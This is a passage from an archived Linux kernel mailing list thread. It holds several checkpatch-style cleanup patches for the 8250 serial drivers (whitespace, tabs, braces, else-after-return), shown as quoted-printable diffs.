CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_hp300.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_hp300.c b/drivers/tty/serial/=
8250/8250_hp300.c
index 5e1b464..cf566bb 100644
--- a/drivers/tty/serial/8250/8250_hp300.c
+++ b/drivers/tty/serial/8250/8250_hp300.c
@@ -248,8 +248,8 @@ static int __init hp300_8250_init(void)
=20
 		/* Memory mapped I/O */
 		uart.port.iotype =3D UPIO_MEM;
-		uart.port.flags =3D UPF_SKIP_TEST | UPF_SHARE_IRQ \
-			      | UPF_BOOT_AUTOCONF;
+		uart.port.flags =3D UPF_SKIP_TEST | UPF_SHARE_IRQ
+				| UPF_BOOT_AUTOCONF;
 		/* XXX - no interrupt support yet */
 		uart.port.irq =3D 0;
 		uart.port.uartclk =3D HPAPCI_BAUD_BASE * 16;
--=20
1.9.1


From - Thu Nov 08 21:38:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.kernel
Subject: [PATCH v2 03/11] tty: serial: 8250: Fix braces after struct
Date: Fri, 18 Dec 2015 12:21:55 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <1450437723-2978-4-git-send-email-anton.wuerfel@fau.de>
References: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450437921 4331 80.91.229.3 (18 Dec 2015 11:25:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2015 11:25:21 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anto
To: linux-serial@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 18 12:25:10 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a9t9o-0001Mf-PM
	for glpp-linux-parisc@plane.gmane.org; Fri, 18 Dec 2015 12:25:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752035AbbLRLZH convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Dec 2015 06:25:07 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:38955 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752550AbbLRLWa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Dec 2015 06:22:30 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id D0FB358C4D8;
	Fri, 18 Dec 2015 12:22:27 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 18 Dec 2015 12:22:27 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26219 gmane.linux.serial:21156 gmane.linux.kernel:2111567
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26219>

This patch fixes a checkpatch warning by moving an opening curly brace
to its correct position.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_hp300.c | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_hp300.c b/drivers/tty/serial/=
8250/8250_hp300.c
index 2891958..5e1b464 100644
--- a/drivers/tty/serial/8250/8250_hp300.c
+++ b/drivers/tty/serial/8250/8250_hp300.c
@@ -24,8 +24,7 @@
 #endif
=20
 #ifdef CONFIG_HPAPCI
-struct hp300_port
-{
+struct hp300_port {
 	struct hp300_port *next;	/* next port */
 	int line;			/* line (tty) number */
 };
--=20
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v2 05/11] tty: serial: 8250: Remove else after return
Date: Fri, 18 Dec 2015 12:21:57 +0100
Lines: 55
Approved: news@gmane.org
Message-ID: <1450437723-2978-6-git-send-email-anton.wuerfel@fau.de>
References: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450437978 5366 80.91.229.3 (18 Dec 2015 11:26:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2015 11:26:18 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anto
To: linux-serial@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Dec 18 12:26:06 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1a9tAf-0002Vz-7i
	for glk-linux-kernel-3@plane.gmane.org; Fri, 18 Dec 2015 12:26:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752965AbbLRLZH convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 18 Dec 2015 06:25:07 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:38993 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752035AbbLRLWc (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 18 Dec 2015 06:22:32 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 1EDF958C4E7;
	Fri, 18 Dec 2015 12:22:30 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 18 Dec 2015 12:22:30 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2111569 gmane.linux.serial:21157 gmane.linux.ports.parisc:26220
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2111569>

This patch fixes checkpatch warnings about unnecessary else blocks afte=
r
return statements.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_pci.c | 15 +++++++--------
 1 file changed, 7 insertions(+), 8 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index 7f9f245..09157fa 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -805,10 +805,10 @@ static int pci_netmos_9900_numports(struct pci_de=
v *dev)
=20
 	pi =3D (c & 0xff);
=20
-	if (pi =3D=3D 2) {
+	if (pi =3D=3D 2)
 		return 1;
-	} else if ((pi =3D=3D 0) &&
-			   (dev->device =3D=3D PCI_DEVICE_ID_NETMOS_9900)) {
+
+	if ((pi =3D=3D 0) && (dev->device =3D=3D PCI_DEVICE_ID_NETMOS_9900)) =
{
 		/* two possibilities: 0x30ps encodes number of parallel and
 		 * serial ports, or 0x1000 indicates *something*. This is not
 		 * immediately obvious, since the 2s1p+4s configuration seems
@@ -816,12 +816,11 @@ static int pci_netmos_9900_numports(struct pci_de=
v *dev)
 		 * advertising the same function 3 as the 4s+2s1p config.
 		 */
 		sub_serports =3D dev->subsystem_device & 0xf;
-		if (sub_serports > 0) {
+		if (sub_serports > 0)
 			return sub_serports;
-		} else {
-			dev_err(&dev->dev, "NetMos/Mostech serial driver ignoring port on a=
mbiguous config.\n");
-			return 0;
-		}
+
+		dev_err(&dev->dev, "NetMos/Mostech serial driver ignoring port on am=
biguous config.\n");
+		return 0;
 	}
=20
 	moan_device("unknown NetMos/Mostech program interface", dev);
--=20
1.9.1


From - Thu Nov 08 21:38:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.kernel
Subject: [PATCH v2 02/11] tty: serial: 8250: Replace spaces with tabs
Date: Fri, 18 Dec 2015 12:21:54 +0100
Lines: 95
Approved: news@gmane.org
Message-ID: <1450437723-2978-3-git-send-email-anton.wuerfel@fau.de>
References: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450437994 5707 80.91.229.3 (18 Dec 2015 11:26:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2015 11:26:34 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anto
To: linux-serial@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 18 12:26:25 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a9tB1-0002vb-KY
	for glpp-linux-parisc@plane.gmane.org; Fri, 18 Dec 2015 12:26:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751611AbbLRL0W convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Dec 2015 06:26:22 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:38928 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752547AbbLRLW3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Dec 2015 06:22:29 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id B4DBF58C4D4;
	Fri, 18 Dec 2015 12:22:26 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 18 Dec 2015 12:22:26 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26221 gmane.linux.serial:21158 gmane.linux.kernel:2111570
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26221>

Indentation is changed to match the correct format of using tabs instea=
d
of spaces wherever possible.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
v2: Split patch
---
 drivers/tty/serial/8250/8250_pci.c  | 12 ++++++------
 drivers/tty/serial/8250/8250_port.c |  4 ++--
 2 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index ccf43cb..7f9f245 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -721,7 +721,7 @@ static int pci_ni8430_init(struct pci_dev *dev)
 	 */
 	pcibios_resource_to_bus(dev->bus, &region, &dev->resource[bar]);
 	device_window =3D ((region.start + MITE_IOWBSR1_WIN_OFFSET) & 0xfffff=
f00)
-	                | MITE_IOWBSR1_WENAB | MITE_IOWBSR1_WSIZE;
+			| MITE_IOWBSR1_WENAB | MITE_IOWBSR1_WSIZE;
 	writel(device_window, p + MITE_IOWBSR1);
=20
 	/* Set window access to go to RAMSEL IO address space */
@@ -1763,7 +1763,7 @@ xr17v35x_has_slave(struct serial_private *priv)
 	const int dev_id =3D priv->dev->device;
=20
 	return ((dev_id =3D=3D PCI_DEVICE_ID_EXAR_XR17V4358) ||
-	        (dev_id =3D=3D PCI_DEVICE_ID_EXAR_XR17V8358));
+		(dev_id =3D=3D PCI_DEVICE_ID_EXAR_XR17V8358));
 }
=20
 static int
@@ -1863,8 +1863,8 @@ pci_fastcom335_setup(struct serial_private *priv,
=20
 static int
 pci_wch_ch353_setup(struct serial_private *priv,
-                    const struct pciserial_board *board,
-                    struct uart_8250_port *port, int idx)
+		    const struct pciserial_board *board,
+		    struct uart_8250_port *port, int idx)
 {
 	port->port.flags |=3D UPF_FIXED_TYPE;
 	port->port.type =3D PORT_16550A;
@@ -1873,8 +1873,8 @@ pci_wch_ch353_setup(struct serial_private *priv,
=20
 static int
 pci_wch_ch38x_setup(struct serial_private *priv,
-                    const struct pciserial_board *board,
-                    struct uart_8250_port *port, int idx)
+		    const struct pciserial_board *board,
+		    struct uart_8250_port *port, int idx)
 {
 	port->port.flags |=3D UPF_FIXED_TYPE;
 	port->port.type =3D PORT_16850;
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index 7f3bd7b..f2e588e 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -52,7 +52,7 @@
 #define DEBUG_AUTOCONF(fmt...)	do { } while (0)
 #endif
=20
-#define BOTH_EMPTY 	(UART_LSR_TEMT | UART_LSR_THRE)
+#define BOTH_EMPTY	(UART_LSR_TEMT | UART_LSR_THRE)
=20
 /*
  * Here we define the default xmit fifo size used for each type of UAR=
T.
@@ -2254,7 +2254,7 @@ serial8250_get_baud_rate(struct uart_port *port, =
struct ktermios *termios,
=20
 void
 serial8250_do_set_termios(struct uart_port *port, struct ktermios *ter=
mios,
-		          struct ktermios *old)
+			  struct ktermios *old)
 {
 	struct uart_8250_port *up =3D up_to_u8250p(port);
 	unsigned char cval;
--=20
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v2 01/11] tty: serial: 8250: Fix whitespace errors
Date: Fri, 18 Dec 2015 12:21:53 +0100
Lines: 360
Approved: news@gmane.org
Message-ID: <1450437723-2978-2-git-send-email-anton.wuerfel@fau.de>
References: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450438017 5914 80.91.229.3 (18 Dec 2015 11:26:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2015 11:26:57 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anto
To: linux-serial@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Dec 18 12:26:47 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1a9tBN-0003Tn-Rg
	for glk-linux-kernel-3@plane.gmane.org; Fri, 18 Dec 2015 12:26:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753072AbbLRL0Z convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 18 Dec 2015 06:26:25 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:38899 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752544AbbLRLW2 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 18 Dec 2015 06:22:28 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 9911158C4D2;
	Fri, 18 Dec 2015 12:22:25 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 18 Dec 2015 12:22:25 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2111571 gmane.linux.serial:21159 gmane.linux.ports.parisc:26222
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2111571>

This patch fixes whitespace errors reported by checkpatch to increase
readability. Main focus is on missing spaces after commas in
function headers and macros (like foo,bar edited to foo, bar).

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
v2: No newline after non-trivial variable initializations
---
 drivers/tty/serial/8250/8250_accent.c        |  2 +-
 drivers/tty/serial/8250/8250_acorn.c         |  2 +-
 drivers/tty/serial/8250/8250_boca.c          |  2 +-
 drivers/tty/serial/8250/8250_exar_st16c554.c |  2 +-
 drivers/tty/serial/8250/8250_fourport.c      |  2 +-
 drivers/tty/serial/8250/8250_hub6.c          |  2 +-
 drivers/tty/serial/8250/8250_pci.c           | 10 +++--
 drivers/tty/serial/8250/8250_port.c          |  2 +
 drivers/tty/serial/8250/serial_cs.c          | 60 ++++++++++++++------=
--------
 9 files changed, 44 insertions(+), 40 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_accent.c b/drivers/tty/serial=
/8250/8250_accent.c
index 34b51c6..c480729 100644
--- a/drivers/tty/serial/8250/8250_accent.c
+++ b/drivers/tty/serial/8250/8250_accent.c
@@ -10,7 +10,7 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define PORT(_base,_irq)				\
+#define PORT(_base, _irq)				\
 	{						\
 		.iobase		=3D _base,		\
 		.irq		=3D _irq,			\
diff --git a/drivers/tty/serial/8250/8250_acorn.c b/drivers/tty/serial/=
8250/8250_acorn.c
index 549aa07..402dfdd 100644
--- a/drivers/tty/serial/8250/8250_acorn.c
+++ b/drivers/tty/serial/8250/8250_acorn.c
@@ -70,7 +70,7 @@ serial_card_probe(struct expansion_card *ec, const st=
ruct ecard_id *id)
 	uart.port.regshift	=3D 2;
 	uart.port.dev	=3D &ec->dev;
=20
-	for (i =3D 0; i < info->num_ports; i ++) {
+	for (i =3D 0; i < info->num_ports; i++) {
 		uart.port.membase =3D info->vaddr + type->offset[i];
 		uart.port.mapbase =3D bus_addr + type->offset[i];
=20
diff --git a/drivers/tty/serial/8250/8250_boca.c b/drivers/tty/serial/8=
250/8250_boca.c
index d125dc1..e42a5b5 100644
--- a/drivers/tty/serial/8250/8250_boca.c
+++ b/drivers/tty/serial/8250/8250_boca.c
@@ -10,7 +10,7 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define PORT(_base,_irq)				\
+#define PORT(_base, _irq)				\
 	{						\
 		.iobase		=3D _base,		\
 		.irq		=3D _irq,			\
diff --git a/drivers/tty/serial/8250/8250_exar_st16c554.c b/drivers/tty=
/serial/8250/8250_exar_st16c554.c
index bf53aab..999f2d3 100644
--- a/drivers/tty/serial/8250/8250_exar_st16c554.c
+++ b/drivers/tty/serial/8250/8250_exar_st16c554.c
@@ -13,7 +13,7 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define PORT(_base,_irq)				\
+#define PORT(_base, _irq)				\
 	{						\
 		.iobase		=3D _base,		\
 		.irq		=3D _irq,			\
diff --git a/drivers/tty/serial/8250/8250_fourport.c b/drivers/tty/seri=
al/8250/8250_fourport.c
index be15826..9a04a8a 100644
--- a/drivers/tty/serial/8250/8250_fourport.c
+++ b/drivers/tty/serial/8250/8250_fourport.c
@@ -10,7 +10,7 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define PORT(_base,_irq)						\
+#define PORT(_base, _irq)						\
 	{								\
 		.iobase		=3D _base,				\
 		.irq		=3D _irq,					\
diff --git a/drivers/tty/serial/8250/8250_hub6.c b/drivers/tty/serial/8=
250/8250_hub6.c
index a5c778e..27124e2 100644
--- a/drivers/tty/serial/8250/8250_hub6.c
+++ b/drivers/tty/serial/8250/8250_hub6.c
@@ -10,7 +10,7 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define HUB6(card,port)							\
+#define HUB6(card, port)						\
 	{								\
 		.iobase		=3D 0x302,				\
 		.irq		=3D 3,					\
diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index 4097f3f..ccf43cb 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -850,7 +850,7 @@ static int pci_netmos_init(struct pci_dev *dev)
 			break;
=20
 		default:
-			if (num_serial =3D=3D 0 ) {
+			if (num_serial =3D=3D 0) {
 				moan_device("unknown NetMos/Mostech device", dev);
 			}
 	}
@@ -1198,8 +1198,9 @@ static int pci_quatech_has_qmcr(struct uart_8250_=
port *port)
=20
 static int pci_quatech_test(struct uart_8250_port *port)
 {
-	u8 reg;
-	u8 qopr =3D pci_quatech_rqopr(port);
+	u8 reg, qopr;
+
+	qopr =3D pci_quatech_rqopr(port);
 	pci_quatech_wqopr(port, qopr & QPCR_TEST_FOR1);
 	reg =3D pci_quatech_rqopr(port) & 0xC0;
 	if (reg !=3D QPCR_TEST_GET1)
@@ -1286,6 +1287,7 @@ static int pci_quatech_init(struct pci_dev *dev)
 		unsigned long base =3D pci_resource_start(dev, 0);
 		if (base) {
 			u32 tmp;
+
 			outl(inl(base + 0x38) | 0x00002000, base + 0x38);
 			tmp =3D inl(base + 0x3c);
 			outl(tmp | 0x01000000, base + 0x3c);
@@ -4502,7 +4504,7 @@ static struct pci_device_id serial_pci_tbl[] =3D =
{
 		PCI_ANY_ID, PCI_ANY_ID, 0, 0,
 		pbn_b0_bt_2_921600 },
 	{	PCI_VENDOR_ID_OXSEMI, PCI_DEVICE_ID_OXSEMI_16PCI958,
-		PCI_ANY_ID , PCI_ANY_ID, 0, 0,
+		PCI_ANY_ID, PCI_ANY_ID, 0, 0,
 		pbn_b2_8_1152000 },
=20
 	/*
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index 52d82d2..7f3bd7b 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -1327,6 +1327,7 @@ static void serial8250_start_tx(struct uart_port =
*port)
=20
 		if (up->bugs & UART_BUG_TXEN) {
 			unsigned char lsr;
+
 			lsr =3D serial_in(up, UART_LSR);
 			up->lsr_saved_flags |=3D lsr & LSR_SAVE_FLAGS;
 			if (lsr & UART_LSR_THRE)
@@ -1734,6 +1735,7 @@ static void wait_for_xmitr(struct uart_8250_port =
*up, int bits)
 	/* Wait up to 1s for flow control if necessary */
 	if (up->port.flags & UPF_CONS_FLOW) {
 		unsigned int tmout;
+
 		for (tmout =3D 1000000; tmout; tmout--) {
